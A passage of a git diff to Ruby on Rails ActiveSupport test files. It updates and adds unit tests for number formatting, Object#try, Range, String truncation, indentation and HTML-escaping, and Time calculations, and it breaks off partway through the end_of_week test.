+  def test_to_s__rounded__with_strip_insignificant_zeros
+    assert_equal "9775.43", 9775.43.to_s(:rounded, :precision => 4, :strip_insignificant_zeros => true )
+    assert_equal "9775.2", 9775.2.to_s(:rounded, :precision => 6, :significant => true, :strip_insignificant_zeros => true )
+    assert_equal "0", 0.to_s(:rounded, :precision => 6, :significant => true, :strip_insignificant_zeros => true )
+  end
+
+  def test_to_s__rounded__with_significant_true_and_zero_precision
+    # Zero precision with significant is a mistake (would always return zero),
+    # so we treat it as if significant was false (increases backwards compatibility for number_to_human_size)
+    assert_equal "124", 123.987.to_s(:rounded, :precision => 0, :significant => true)
+    assert_equal "12", 12.to_s(:rounded, :precision => 0, :significant => true )
+  end
+
+  def test_to_s__human_size
+    assert_equal '0 Bytes',   0.to_s(:human_size)
+    assert_equal '1 Byte',    1.to_s(:human_size)
+    assert_equal '3 Bytes',   3.14159265.to_s(:human_size)
+    assert_equal '123 Bytes', 123.0.to_s(:human_size)
+    assert_equal '123 Bytes', 123.to_s(:human_size)
+    assert_equal '1.21 KB',   1234.to_s(:human_size)
+    assert_equal '12.1 KB',   12345.to_s(:human_size)
+    assert_equal '1.18 MB',   1234567.to_s(:human_size)
+    assert_equal '1.15 GB',   1234567890.to_s(:human_size)
+    assert_equal '1.12 TB',   1234567890123.to_s(:human_size)
+    assert_equal '1030 TB',   terabytes(1026).to_s(:human_size)
+    assert_equal '444 KB',    kilobytes(444).to_s(:human_size)
+    assert_equal '1020 MB',   megabytes(1023).to_s(:human_size)
+    assert_equal '3 TB',      terabytes(3).to_s(:human_size)
+    assert_equal '1.2 MB',    1234567.to_s(:human_size, :precision => 2)
+    assert_equal '3 Bytes',   3.14159265.to_s(:human_size, :precision => 4)
+    assert_equal '1 KB',      kilobytes(1.0123).to_s(:human_size, :precision => 2)
+    assert_equal '1.01 KB',   kilobytes(1.0100).to_s(:human_size, :precision => 4)
+    assert_equal '10 KB',     kilobytes(10.000).to_s(:human_size, :precision => 4)
+    assert_equal '1 Byte',    1.1.to_s(:human_size)
+    assert_equal '10 Bytes',  10.to_s(:human_size)
+  end
+
+  def test_to_s__human_size_with_si_prefix
+    assert_equal '3 Bytes',    3.14159265.to_s(:human_size, :prefix => :si)
+    assert_equal '123 Bytes',  123.0.to_s(:human_size, :prefix => :si)
+    assert_equal '123 Bytes',  123.to_s(:human_size, :prefix => :si)
+    assert_equal '1.23 KB',    1234.to_s(:human_size, :prefix => :si)
+    assert_equal '12.3 KB',    12345.to_s(:human_size, :prefix => :si)
+    assert_equal '1.23 MB',    1234567.to_s(:human_size, :prefix => :si)
+    assert_equal '1.23 GB',    1234567890.to_s(:human_size, :prefix => :si)
+    assert_equal '1.23 TB',    1234567890123.to_s(:human_size, :prefix => :si)
+  end
+  
+  def test_to_s__human_size_with_options_hash
+    assert_equal '1.2 MB',   1234567.to_s(:human_size, :precision => 2)
+    assert_equal '3 Bytes',  3.14159265.to_s(:human_size, :precision => 4)
+    assert_equal '1 KB',     kilobytes(1.0123).to_s(:human_size, :precision => 2)
+    assert_equal '1.01 KB',  kilobytes(1.0100).to_s(:human_size, :precision => 4)
+    assert_equal '10 KB',    kilobytes(10.000).to_s(:human_size, :precision => 4)
+    assert_equal '1 TB',     1234567890123.to_s(:human_size, :precision => 1)
+    assert_equal '500 MB',   524288000.to_s(:human_size, :precision=>3)
+    assert_equal '10 MB',    9961472.to_s(:human_size, :precision=>0)
+    assert_equal '40 KB',    41010.to_s(:human_size, :precision => 1)
+    assert_equal '40 KB',    41100.to_s(:human_size, :precision => 2)
+    assert_equal '1.0 KB',   kilobytes(1.0123).to_s(:human_size, :precision => 2, :strip_insignificant_zeros => false)
+    assert_equal '1.012 KB', kilobytes(1.0123).to_s(:human_size, :precision => 3, :significant => false)
+    assert_equal '1 KB',     kilobytes(1.0123).to_s(:human_size, :precision => 0, :significant => true) #ignores significant it precision is 0
+  end
+  
+  def test_to_s__human_size_with_custom_delimiter_and_separator
+    assert_equal '1,01 KB',     kilobytes(1.0123).to_s(:human_size, :precision => 3, :separator => ',')
+    assert_equal '1,01 KB',     kilobytes(1.0100).to_s(:human_size, :precision => 4, :separator => ',')
+    assert_equal '1.000,1 TB',  terabytes(1000.1).to_s(:human_size, :precision => 5, :delimiter => '.', :separator => ',')
+  end
+    
+  def test_number_to_human
+    assert_equal '-123', -123.to_s(:human)
+    assert_equal '-0.5', -0.5.to_s(:human)
+    assert_equal '0',   0.to_s(:human)
+    assert_equal '0.5', 0.5.to_s(:human)
+    assert_equal '123', 123.to_s(:human)
+    assert_equal '1.23 Thousand', 1234.to_s(:human)
+    assert_equal '12.3 Thousand', 12345.to_s(:human)
+    assert_equal '1.23 Million', 1234567.to_s(:human)
+    assert_equal '1.23 Billion', 1234567890.to_s(:human)
+    assert_equal '1.23 Trillion', 1234567890123.to_s(:human)
+    assert_equal '1.23 Quadrillion', 1234567890123456.to_s(:human)
+    assert_equal '1230 Quadrillion', 1234567890123456789.to_s(:human)
+    assert_equal '490 Thousand', 489939.to_s(:human, :precision => 2)
+    assert_equal '489.9 Thousand', 489939.to_s(:human, :precision => 4)
+    assert_equal '489 Thousand', 489000.to_s(:human, :precision => 4)
+    assert_equal '489.0 Thousand', 489000.to_s(:human, :precision => 4, :strip_insignificant_zeros => false)
+    assert_equal '1.2346 Million', 1234567.to_s(:human, :precision => 4, :significant => false)
+    assert_equal '1,2 Million', 1234567.to_s(:human, :precision => 1, :significant => false, :separator => ',')
+    assert_equal '1 Million', 1234567.to_s(:human, :precision => 0, :significant => true, :separator => ',') #significant forced to false
+  end
+
+  def test_number_to_human_with_custom_units
+    #Only integers
+    volume = {:unit => "ml", :thousand => "lt", :million => "m3"}
+    assert_equal '123 lt', 123456.to_s(:human, :units => volume)
+    assert_equal '12 ml', 12.to_s(:human, :units => volume)
+    assert_equal '1.23 m3', 1234567.to_s(:human, :units => volume)
+
+    #Including fractionals
+    distance = {:mili => "mm", :centi => "cm", :deci => "dm", :unit => "m", :ten => "dam", :hundred => "hm", :thousand => "km"}
+    assert_equal '1.23 mm', 0.00123.to_s(:human, :units => distance)
+    assert_equal '1.23 cm', 0.0123.to_s(:human, :units => distance)
+    assert_equal '1.23 dm', 0.123.to_s(:human, :units => distance)
+    assert_equal '1.23 m',  1.23.to_s(:human, :units => distance)
+    assert_equal '1.23 dam', 12.3.to_s(:human, :units => distance)
+    assert_equal '1.23 hm', 123.to_s(:human, :units => distance)
+    assert_equal '1.23 km', 1230.to_s(:human, :units => distance)
+    assert_equal '1.23 km', 1230.to_s(:human, :units => distance)
+    assert_equal '1.23 km', 1230.to_s(:human, :units => distance)
+    assert_equal '12.3 km', 12300.to_s(:human, :units => distance)
+
+    #The quantifiers don't need to be a continuous sequence
+    gangster = {:hundred => "hundred bucks", :million => "thousand quids"}
+    assert_equal '1 hundred bucks', 100.to_s(:human, :units => gangster)
+    assert_equal '25 hundred bucks', 2500.to_s(:human, :units => gangster)
+    assert_equal '25 thousand quids', 25000000.to_s(:human, :units => gangster)
+    assert_equal '12300 thousand quids', 12345000000.to_s(:human, :units => gangster)
+
+    #Spaces are stripped from the resulting string
+    assert_equal '4', 4.to_s(:human, :units => {:unit => "", :ten => 'tens '})
+    assert_equal '4.5  tens', 45.to_s(:human, :units => {:unit => "", :ten => ' tens   '})
+  end
+
+  def test_number_to_human_with_custom_format
+    assert_equal '123 times Thousand', 123456.to_s(:human, :format => "%n times %u")
+    volume = {:unit => "ml", :thousand => "lt", :million => "m3"}
+    assert_equal '123.lt', 123456.to_s(:human, :units => volume, :format => "%n.%u")
+  end
+
+  def test_to_s__injected_on_proper_types
+    assert_equal Fixnum, 1230.class
+    assert_equal '1.23 Thousand', 1230.to_s(:human)
+    
+    assert_equal Float, Float(1230).class
+    assert_equal '1.23 Thousand', Float(1230).to_s(:human)
+
+    assert_equal Bignum, (100**10).class
+    assert_equal '100000 Quadrillion', (100**10).to_s(:human)
+
+    assert_equal BigDecimal, BigDecimal("1000010").class
+    assert_equal '1 Million', BigDecimal("1000010").to_s(:human)
+  end
+end
diff --git a/activesupport/test/core_ext/object/inclusion_test.rb b/activesupport/test/core_ext/object/inclusion_test.rb
index 1de857d678..22888333f5 100644
--- a/activesupport/test/core_ext/object/inclusion_test.rb
+++ b/activesupport/test/core_ext/object/inclusion_test.rb
@@ -1,7 +1,17 @@
 require 'abstract_unit'
 require 'active_support/core_ext/object/inclusion'
 
-class InTest < Test::Unit::TestCase
+class InTest < ActiveSupport::TestCase
+  def test_in_multiple_args
+    assert :b.in?(:a,:b)
+    assert !:c.in?(:a,:b)
+  end
+  
+  def test_in_multiple_arrays
+    assert [1,2].in?([1,2],[2,3])
+    assert ![1,2].in?([1,3],[2,1])
+  end
+  
   def test_in_array
     assert 1.in?([1,2])
     assert !3.in?([1,2])
diff --git a/activesupport/test/core_ext/object/to_param_test.rb b/activesupport/test/core_ext/object/to_param_test.rb
index c3efefddb5..bd7c6c422a 100644
--- a/activesupport/test/core_ext/object/to_param_test.rb
+++ b/activesupport/test/core_ext/object/to_param_test.rb
@@ -1,7 +1,7 @@
 require 'abstract_unit'
 require 'active_support/core_ext/object/to_param'
 
-class ToParamTest < Test::Unit::TestCase
+class ToParamTest < ActiveSupport::TestCase
   def test_object
     foo = Object.new
     def foo.to_s; 'foo' end
diff --git a/activesupport/test/core_ext/object/to_query_test.rb b/activesupport/test/core_ext/object/to_query_test.rb
index c146f6cc9b..c34647c1df 100644
--- a/activesupport/test/core_ext/object/to_query_test.rb
+++ b/activesupport/test/core_ext/object/to_query_test.rb
@@ -3,7 +3,7 @@ require 'active_support/ordered_hash'
 require 'active_support/core_ext/object/to_query'
 require 'active_support/core_ext/string/output_safety.rb'
 
-class ToQueryTest < Test::Unit::TestCase
+class ToQueryTest < ActiveSupport::TestCase
   def test_simple_conversion
     assert_query_equal 'a=10', :a => 10
   end
@@ -28,12 +28,12 @@ class ToQueryTest < Test::Unit::TestCase
 
   def test_nested_conversion
     assert_query_equal 'person%5Blogin%5D=seckar&person%5Bname%5D=Nicholas',
-      :person => ActiveSupport::OrderedHash[:login, 'seckar', :name, 'Nicholas']
+      :person => Hash[:login, 'seckar', :name, 'Nicholas']
   end
 
   def test_multiple_nested
     assert_query_equal 'account%5Bperson%5D%5Bid%5D=20&person%5Bid%5D=10',
-      ActiveSupport::OrderedHash[:account, {:person => {:id => 20}}, :person, {:id => 10}]
+      Hash[:account, {:person => {:id => 20}}, :person, {:id => 10}]
   end
 
   def test_array_values
diff --git a/activesupport/test/core_ext/object_and_class_ext_test.rb b/activesupport/test/core_ext/object_and_class_ext_test.rb
index 782a01213d..ec7dd6d4fb 100644
--- a/activesupport/test/core_ext/object_and_class_ext_test.rb
+++ b/activesupport/test/core_ext/object_and_class_ext_test.rb
@@ -59,7 +59,7 @@ class ObjectTests < ActiveSupport::TestCase
   end
 end
 
-class ObjectInstanceVariableTest < Test::Unit::TestCase
+class ObjectInstanceVariableTest < ActiveSupport::TestCase
   def setup
     @source, @dest = Object.new, Object.new
     @source.instance_variable_set(:@bar, 'bar')
@@ -91,7 +91,7 @@ class ObjectInstanceVariableTest < Test::Unit::TestCase
   end
 end
 
-class ObjectTryTest < Test::Unit::TestCase
+class ObjectTryTest < ActiveSupport::TestCase
   def setup
     @string = "Hello"
   end
@@ -99,13 +99,25 @@ class ObjectTryTest < Test::Unit::TestCase
   def test_nonexisting_method
     method = :undefined_method
     assert !@string.respond_to?(method)
-    assert_raise(NoMethodError) { @string.try(method) }
+    assert_nil @string.try(method)
   end
-  
+
   def test_nonexisting_method_with_arguments
     method = :undefined_method
     assert !@string.respond_to?(method)
-    assert_raise(NoMethodError) { @string.try(method, 'llo', 'y') }
+    assert_nil @string.try(method, 'llo', 'y')
+  end
+
+  def test_nonexisting_method_bang
+    method = :undefined_method
+    assert !@string.respond_to?(method)
+    assert_raise(NoMethodError) { @string.try!(method) }
+  end
+
+  def test_nonexisting_method_with_arguments_bang
+    method = :undefined_method
+    assert !@string.respond_to?(method)
+    assert_raise(NoMethodError) { @string.try!(method, 'llo', 'y') }
   end
 
   def test_valid_method
@@ -138,4 +150,28 @@ class ObjectTryTest < Test::Unit::TestCase
     nil.try { ran = true }
     assert_equal false, ran
   end
+
+  def test_try_with_private_method_bang
+    klass = Class.new do
+      private
+
+      def private_method
+        'private method'
+      end
+    end
+
+    assert_raise(NoMethodError) { klass.new.try!(:private_method) }
+  end
+  
+  def test_try_with_private_method
+    klass = Class.new do
+      private
+
+      def private_method
+        'private method'
+      end
+    end
+
+    assert_nil klass.new.try(:private_method)
+  end
 end
diff --git a/activesupport/test/core_ext/proc_test.rb b/activesupport/test/core_ext/proc_test.rb
index dc7b2c957d..c4d5592196 100644
--- a/activesupport/test/core_ext/proc_test.rb
+++ b/activesupport/test/core_ext/proc_test.rb
@@ -1,12 +1,14 @@
 require 'abstract_unit'
 require 'active_support/core_ext/proc'
 
-class ProcTests < Test::Unit::TestCase
+class ProcTests < ActiveSupport::TestCase
   def test_bind_returns_method_with_changed_self
-    block = Proc.new { self }
-    assert_equal self, block.call
-    bound_block = block.bind("hello")
-    assert_not_equal block, bound_block
-    assert_equal "hello", bound_block.call
+    assert_deprecated do
+      block = Proc.new { self }
+      assert_equal self, block.call
+      bound_block = block.bind("hello")
+      assert_not_equal block, bound_block
+      assert_equal "hello", bound_block.call
+    end
   end
 end
diff --git a/activesupport/test/core_ext/range_ext_test.rb b/activesupport/test/core_ext/range_ext_test.rb
index 1424fa4aca..f0cdc0bfd4 100644
--- a/activesupport/test/core_ext/range_ext_test.rb
+++ b/activesupport/test/core_ext/range_ext_test.rb
@@ -2,7 +2,7 @@ require 'abstract_unit'
 require 'active_support/time'
 require 'active_support/core_ext/range'
 
-class RangeTest < Test::Unit::TestCase
+class RangeTest < ActiveSupport::TestCase
   def test_to_s_from_dates
     date_range = Date.new(2005, 12, 10)..Date.new(2005, 12, 12)
     assert_equal "BETWEEN '2005-12-10' AND '2005-12-12'", date_range.to_s(:db)
@@ -41,6 +41,18 @@ class RangeTest < Test::Unit::TestCase
     assert((1..10).include?(1...10))
   end
 
+  def test_should_compare_identical_inclusive
+    assert((1..10) === (1..10))
+  end
+
+  def test_should_compare_identical_exclusive
+    assert((1...10) === (1...10))
+  end
+
+  def test_should_compare_other_with_exlusive_end
+    assert((1..10) === (1...10))
+  end
+
   def test_exclusive_end_should_not_include_identical_with_inclusive_end
     assert !(1...10).include?(1..10)
   end
@@ -53,25 +65,24 @@ class RangeTest < Test::Unit::TestCase
     assert !(2..8).include?(5..9)
   end
 
-  def test_blockless_step
-    assert_equal [1,3,5,7,9], (1..10).step(2)
+  def test_should_include_identical_exclusive_with_floats
+    assert((1.0...10.0).include?(1.0...10.0))
+  end
+
+  def test_cover_is_not_override
+    range = (1..3)
+    assert range.method(:include?) != range.method(:cover?)
   end
 
-  def test_original_step
-    array = []
-    (1..10).step(2) {|i| array << i }
-    assert_equal [1,3,5,7,9], array
+  def test_overlaps_on_time
+    time_range_1 = Time.utc(2005, 12, 10, 15, 30)..Time.utc(2005, 12, 10, 17, 30)
+    time_range_2 = Time.utc(2005, 12, 10, 17, 00)..Time.utc(2005, 12, 10, 18, 00)
+    assert time_range_1.overlaps?(time_range_2)
   end
 
-  if RUBY_VERSION < '1.9'
-    def test_cover
-      assert((1..3).cover?(2))
-      assert !(1..3).cover?(4)
-    end
-  else
-    def test_cover_is_not_override
-      range = (1..3)
-      assert range.method(:include?) != range.method(:cover?)
-    end
+  def test_no_overlaps_on_time
+    time_range_1 = Time.utc(2005, 12, 10, 15, 30)..Time.utc(2005, 12, 10, 17, 30)
+    time_range_2 = Time.utc(2005, 12, 10, 17, 31)..Time.utc(2005, 12, 10, 18, 00)
+    assert !time_range_1.overlaps?(time_range_2)
   end
 end
diff --git a/activesupport/test/core_ext/regexp_ext_test.rb b/activesupport/test/core_ext/regexp_ext_test.rb
index 68b089d5b4..c2398d31bd 100644
--- a/activesupport/test/core_ext/regexp_ext_test.rb
+++ b/activesupport/test/core_ext/regexp_ext_test.rb
@@ -1,7 +1,7 @@
 require 'abstract_unit'
 require 'active_support/core_ext/regexp'
 
-class RegexpExtAccessTests < Test::Unit::TestCase
+class RegexpExtAccessTests < ActiveSupport::TestCase
   def test_multiline
     assert_equal true, //m.multiline?
     assert_equal false, //.multiline?
diff --git a/activesupport/test/core_ext/string_ext_test.rb b/activesupport/test/core_ext/string_ext_test.rb
index ade09efc56..dc5ae0eafc 100644
--- a/activesupport/test/core_ext/string_ext_test.rb
+++ b/activesupport/test/core_ext/string_ext_test.rb
@@ -9,6 +9,7 @@ require 'active_support/core_ext/string'
 require 'active_support/time'
 require 'active_support/core_ext/string/strip'
 require 'active_support/core_ext/string/output_safety'
+require 'active_support/core_ext/string/indent'
 
 module Ace
   module Base
@@ -17,16 +18,10 @@ module Ace
   end
 end
 
-class StringInflectionsTest < Test::Unit::TestCase
+class StringInflectionsTest < ActiveSupport::TestCase
   include InflectorTestCases
   include ConstantizeTestCases
 
-  def test_erb_escape
-    string = [192, 60].pack('CC')
-    expected = 192.chr + "&lt;"
-    assert_equal expected, ERB::Util.html_escape(string)
-  end
-
   def test_strip_heredoc_on_an_empty_string
     assert_equal '', ''.strip_heredoc
   end
@@ -166,14 +161,6 @@ class StringInflectionsTest < Test::Unit::TestCase
     assert_equal 97, 'abc'.ord
   end
 
-  if RUBY_VERSION < '1.9'
-    def test_getbyte
-      assert_equal 97, 'a'.getbyte(0)
-      assert_equal 99, 'abc'.getbyte(2)
-      assert_nil   'abc'.getbyte(3)
-    end
-  end
-
   def test_string_to_time
     assert_equal Time.utc(2005, 2, 27, 23, 50), "2005-02-27 23:50".to_time
     assert_equal Time.local(2005, 2, 27, 23, 50), "2005-02-27 23:50".to_time(:local)
@@ -293,21 +280,19 @@ class StringInflectionsTest < Test::Unit::TestCase
     assert_equal "Hello Big[...]", "Hello Big World!".truncate(15, :omission => "[...]", :separator => ' ')
   end
 
-  if RUBY_VERSION < '1.9.0'
-    def test_truncate_multibyte
-      with_kcode 'none' do
-        assert_equal "\354\225\210\353\205\225\355...", "\354\225\210\353\205\225\355\225\230\354\204\270\354\232\224".truncate(10)
-      end
-      with_kcode 'u' do
-        assert_equal "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 ...",
-          "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 \354\225\204\353\235\274\353\246\254\354\230\244".truncate(10)
-      end
-    end
-  else
-    def test_truncate_multibyte
-      assert_equal "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 ...".force_encoding('UTF-8'),
-        "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 \354\225\204\353\235\274\353\246\254\354\230\244".force_encoding('UTF-8').truncate(10)
-    end
+  def test_truncate_with_omission_and_regexp_seperator
+    assert_equal "Hello[...]", "Hello Big World!".truncate(13, :omission => "[...]", :separator => /\s/)
+    assert_equal "Hello Big[...]", "Hello Big World!".truncate(14, :omission => "[...]", :separator => /\s/)
+    assert_equal "Hello Big[...]", "Hello Big World!".truncate(15, :omission => "[...]", :separator => /\s/)
+  end
+
+  def test_truncate_multibyte
+    assert_equal "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 ...".force_encoding('UTF-8'),
+      "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 \354\225\204\353\235\274\353\246\254\354\230\244".force_encoding('UTF-8').truncate(10)
+  end
+
+  def test_truncate_should_not_be_html_safe
+    assert !"Hello World!".truncate(12).html_safe?
   end
 
   def test_constantize
@@ -323,7 +308,7 @@ class StringInflectionsTest < Test::Unit::TestCase
   end
 end
 
-class StringBehaviourTest < Test::Unit::TestCase
+class StringBehaviourTest < ActiveSupport::TestCase
   def test_acts_like_string
     assert 'Bambi'.acts_like_string?
   end
@@ -344,22 +329,8 @@ class CoreExtStringMultibyteTest < ActiveSupport::TestCase
     assert !BYTE_STRING.is_utf8?
   end
 
-  if RUBY_VERSION < '1.9'
-    def test_mb_chars_returns_self_when_kcode_not_set
-      with_kcode('none') do
-        assert_kind_of String, UNICODE_STRING.mb_chars
-      end
-    end
-
-    def test_mb_chars_returns_an_instance_of_the_chars_proxy_when_kcode_utf8
-      with_kcode('UTF8') do
-        assert_kind_of ActiveSupport::Multibyte.proxy_class, UNICODE_STRING.mb_chars
-      end
-    end
-  else
-    def test_mb_chars_returns_instance_of_proxy_class
-      assert_kind_of ActiveSupport::Multibyte.proxy_class, UNICODE_STRING.mb_chars
-    end
+  def test_mb_chars_returns_instance_of_proxy_class
+    assert_kind_of ActiveSupport::Multibyte.proxy_class, UNICODE_STRING.mb_chars
   end
 end
 
@@ -473,6 +444,37 @@ class OutputSafetyTest < ActiveSupport::TestCase
     assert @other_string.html_safe?
   end
 
+  test "Concatting safe onto unsafe with % yields unsafe" do
+    @other_string = "other%s"
+    string = @string.html_safe
+
+    @other_string = @other_string % string
+    assert !@other_string.html_safe?
+  end
+
+  test "Concatting unsafe onto safe with % yields escaped safe" do
+    @other_string = "other%s".html_safe
+    string = @other_string % "<foo>"
+
+    assert_equal "other&lt;foo&gt;", string
+    assert string.html_safe?
+  end
+
+  test "Concatting safe onto safe with % yields safe" do
+    @other_string = "other%s".html_safe
+    string = @string.html_safe
+
+    @other_string = @other_string % string
+    assert @other_string.html_safe?
+  end
+
+  test "Concatting with % doesn't modify a string" do
+    @other_string = ["<p>", "<b>", "<h1>"]
+    _ = "%s %s %s".html_safe % @other_string
+
+    assert_equal ["<p>", "<b>", "<h1>"], @other_string
+  end
+
   test "Concatting a fixnum to safe always yields safe" do
     string = @string.html_safe
     string = string.concat(13)
@@ -485,10 +487,8 @@ class OutputSafetyTest < ActiveSupport::TestCase
   end
 
   test 'knows whether it is encoding aware' do
-    if RUBY_VERSION >= "1.9"
+    assert_deprecated do
       assert 'ruby'.encoding_aware?
-    else
-      assert !'ruby'.encoding_aware?
     end
   end
 
@@ -497,6 +497,23 @@ class OutputSafetyTest < ActiveSupport::TestCase
     assert string.html_safe?
     assert !string.to_param.html_safe?
   end
+
+  test "ERB::Util.html_escape should escape unsafe characters" do
+    string = '<>&"\''
+    expected = '&lt;&gt;&amp;&quot;&#x27;'
+    assert_equal expected, ERB::Util.html_escape(string)
+  end
+
+  test "ERB::Util.html_escape should correctly handle invalid UTF-8 strings" do
+    string = [192, 60].pack('CC')
+    expected = 192.chr + "&lt;"
+    assert_equal expected, ERB::Util.html_escape(string)
+  end
+
+  test "ERB::Util.html_escape should not escape safe strings" do
+    string = "<b>hello</b>".html_safe
+    assert_equal string, ERB::Util.html_escape(string)
+  end
 end
 
 class StringExcludeTest < ActiveSupport::TestCase
@@ -505,3 +522,58 @@ class StringExcludeTest < ActiveSupport::TestCase
     assert_equal true, 'foo'.exclude?('p')
   end
 end
+
+class StringIndentTest < ActiveSupport::TestCase
+  test 'does not indent strings that only contain newlines (edge cases)' do
+    ['', "\n", "\n" * 7].each do |str|
+      assert_nil str.indent!(8)
+      assert_equal str, str.indent(8)
+      assert_equal str, str.indent(1, "\t")
+    end
+  end
+
+  test "by default, indents with spaces if the existing indentation uses them" do
+    assert_equal "    foo\n      bar", "foo\n  bar".indent(4)
+  end
+
+  test "by default, indents with tabs if the existing indentation uses them" do
+    assert_equal "\tfoo\n\t\t\bar", "foo\n\t\bar".indent(1)
+  end
+
+  test "by default, indents with spaces as a fallback if there is no indentation" do
+    assert_equal "   foo\n   bar\n   baz", "foo\nbar\nbaz".indent(3)
+  end
+
+  # Nothing is said about existing indentation that mixes spaces and tabs, so
+  # there is nothing to test.
+
+  test 'uses the indent char if passed' do
+    assert_equal <<EXPECTED, <<ACTUAL.indent(4, '.')
+....  def some_method(x, y)
+....    some_code
+....  end
+EXPECTED
+  def some_method(x, y)
+    some_code
+  end
+ACTUAL
+
+    assert_equal <<EXPECTED, <<ACTUAL.indent(2, '&nbsp;')
+&nbsp;&nbsp;&nbsp;&nbsp;def some_method(x, y)
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;some_code
+&nbsp;&nbsp;&nbsp;&nbsp;end
+EXPECTED
+&nbsp;&nbsp;def some_method(x, y)
+&nbsp;&nbsp;&nbsp;&nbsp;some_code
+&nbsp;&nbsp;end
+ACTUAL
+  end
+
+  test "does not indent blank lines by default" do
+    assert_equal " foo\n\n bar", "foo\n\nbar".indent(1)
+  end
+
+  test 'indents blank lines if told so' do
+    assert_equal " foo\n \n bar", "foo\n\nbar".indent(1, nil, true)
+  end
+end
diff --git a/activesupport/test/core_ext/time_ext_test.rb b/activesupport/test/core_ext/time_ext_test.rb
index a1e088a28d..412aef9301 100644
--- a/activesupport/test/core_ext/time_ext_test.rb
+++ b/activesupport/test/core_ext/time_ext_test.rb
@@ -59,8 +59,28 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
     assert_equal Time.local(2005,11,28), Time.local(2005,12,02,0,0,0).beginning_of_week #friday
     assert_equal Time.local(2005,11,28), Time.local(2005,12,03,0,0,0).beginning_of_week #saturday
     assert_equal Time.local(2005,11,28), Time.local(2005,12,04,0,0,0).beginning_of_week #sunday
+
   end
 
+  def test_days_to_week_start
+    assert_equal 0, Time.local(2011,11,01,0,0,0).days_to_week_start(:tuesday)
+    assert_equal 1, Time.local(2011,11,02,0,0,0).days_to_week_start(:tuesday)
+    assert_equal 2, Time.local(2011,11,03,0,0,0).days_to_week_start(:tuesday)
+    assert_equal 3, Time.local(2011,11,04,0,0,0).days_to_week_start(:tuesday)
+    assert_equal 4, Time.local(2011,11,05,0,0,0).days_to_week_start(:tuesday)
+    assert_equal 5, Time.local(2011,11,06,0,0,0).days_to_week_start(:tuesday)
+    assert_equal 6, Time.local(2011,11,07,0,0,0).days_to_week_start(:tuesday)
+
+    assert_equal 3, Time.local(2011,11,03,0,0,0).days_to_week_start(:monday)
+    assert_equal 3, Time.local(2011,11,04,0,0,0).days_to_week_start(:tuesday)
+    assert_equal 3, Time.local(2011,11,05,0,0,0).days_to_week_start(:wednesday)
+    assert_equal 3, Time.local(2011,11,06,0,0,0).days_to_week_start(:thursday)
+    assert_equal 3, Time.local(2011,11,07,0,0,0).days_to_week_start(:friday)
+    assert_equal 3, Time.local(2011,11,8,0,0,0).days_to_week_start(:saturday)
+    assert_equal 3, Time.local(2011,11,9,0,0,0).days_to_week_start(:sunday)
+  end
+
+
   def test_beginning_of_day
     assert_equal Time.local(2005,2,4,0,0,0), Time.local(2005,2,4,10,10,10).beginning_of_day
     with_env_tz 'US/Eastern' do
@@ -73,6 +93,10 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
     end
   end
 
+  def test_beginning_of_hour
+    assert_equal Time.local(2005,2,4,19,0,0), Time.local(2005,2,4,19,30,10).beginning_of_hour
+  end
+
   def test_beginning_of_month
     assert_equal Time.local(2005,2,1,0,0,0), Time.local(2005,2,22,10,10,10).beginning_of_month
   end
@@ -85,45 +109,49 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
   end
 
   def test_end_of_day
-    assert_equal Time.local(2007,8,12,23,59,59,999999.999), Time.local(2007,8,12,10,10,10).end_of_day
+    assert_equal Time.local(2007,8,12,23,59,59,Rational(999999999, 1000)), Time.local(2007,8,12,10,10,10).end_of_day
     with_env_tz 'US/Eastern' do
-      assert_equal Time.local(2007,4,2,23,59,59,999999.999), Time.local(2007,4,2,10,10,10).end_of_day, 'start DST'
-      assert_equal Time.local(2007,10,29,23,59,59,999999.999), Time.local(2007,10,29,10,10,10).end_of_day, 'ends DST'
+      assert_equal Time.local(2007,4,2,23,59,59,Rational(999999999, 1000)), Time.local(2007,4,2,10,10,10).end_of_day, 'start DST'
+      assert_equal Time.local(2007,10,29,23,59,59,Rational(999999999, 1000)), Time.local(2007,10,29,10,10,10).end_of_day, 'ends DST'
     end
     with_env_tz 'NZ' do
-      assert_equal Time.local(2006,3,19,23,59,59,999999.999), Time.local(2006,3,19,10,10,10).end_of_day, 'ends DST'
-      assert_equal Time.local(2006,10,1,23,59,59,999999.999), Time.local(2006,10,1,10,10,10).end_of_day, 'start DST'
+      assert_equal Time.local(2006,3,19,23,59,59,Rational(999999999, 1000)), Time.local(2006,3,19,10,10,10).end_of_day, 'ends DST'
+      assert_equal Time.local(2006,10,1,23,59,59,Rational(999999999, 1000)), Time.local(2006,10,1,10,10,10).end_of_day, 'start DST'
     end
   end
 
   def test_end_of_week
-    assert_equal Time.local(2008,1,6,23,59,59,999999.999), Time.local(2007,12,31,10,10,10).end_of_week
-    assert_equal Time.local(2007,9,2,23,59,59,999999.999), Time.local(2007,8,27,0,0,0).end_of_week #monday
-    assert_equal Time.local(2007,9,2,23,59,59,999999.999), Time.local(2007,8,28,0,0,0).end_of_week #tuesday
-    assert_equal Time.local(2007,9,2,23,59,59,999999.999), Time.local(2007,8,29,0,0,0).end_of_week #wednesday
-    assert_equal Time.local(2007,9,2,23,59,59,999999.999), Time.local(2007,8,30,0,0,0).end_of_week #thursday
-    assert_equal Time.local(2007,9,2,23,59,59,999999.999), Time.local(2007,8,31,0,0,0).end_of_week #friday
-    assert_equal Time.local(2007,9,2,23,59,59,999999.999), Time.local(2007,9,01,0,0,0).end_of_week #saturday
-    assert_equal Time.local(2007,9,2,23,59,59,999999.999), Time.local(2007,9,02,0,0,0).end_of_week #sunday
+    assert_equal Time.local(2008,1,6,23,59,59,Rational(999999999, 1000)), Time.local(2007,12,31,10,10,10).end_of_week
+    assert_equal Time.local(2007,9,2,23,59,59,Rational(999999999, 1000)), Time.local(2007,8,27,0,0,0).end_of_week #monday
+    assert_equal Time.local(2007,9,2,23,59,59,Rational(999999999, 1000)), Time.local(2007,8,28,0,0,0).end_of_week #tuesday
